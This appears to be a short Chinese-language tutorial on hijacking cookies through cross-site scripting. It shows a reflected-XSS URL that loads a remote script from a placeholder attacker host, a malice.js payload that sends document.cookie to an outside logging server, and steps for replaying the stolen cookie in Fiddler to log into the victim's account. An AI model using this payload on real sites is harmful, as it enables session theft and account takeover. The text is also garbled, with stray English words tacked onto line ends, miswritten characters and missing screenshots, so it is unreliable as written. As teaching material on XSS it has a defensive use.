說說劫持 Cookie 的原理

完成具體功能的惡意腳本(javaScript、Flash 等)稱爲 XSS Payload。黑客會經過這些腳本,來控制用戶的瀏覽器。劫持 Cookie 就是一種 XSS Payload。html

Cookie 中,通常加密存放着當前用戶的登錄憑證。若是 Cookie 被劫持,那麼黑客就能夠不使用密碼,直接登錄到用戶的帳號中。java

1 竊取 Cookie

首先先在存在 XSS 漏洞的網站,加載一段遠程腳本,形如:後端

http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script> 複製代碼

XSS Payload 寫在 malice.js 中,這樣就能夠避免直接在 URL 參數中寫入大量的腳本代碼。瀏覽器

malice.js 內容:bash

var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
複製代碼

escape() 函數可對字符串進行編碼,這樣就能夠在全部的計算機上讀取該字符串。服務器

在此,咱們動態建立了一個圖片標籤,並把 cookie 參數做爲對象,發送給後端服務器。cookie

這樣就完成了竊取 Cookie 的整個過程。app

2 利用 Cookie 登錄帳戶

一個網站,若是還未登陸,通常在右上角有個 「登陸」 連接:函數

假設已經獲得了某個帳戶的 Cookie 信息,那麼就能夠在 Fiddler 中,模擬 Get 請求:網站

而後就能夠成功登錄網站咯:

相關文章
相關標籤/搜索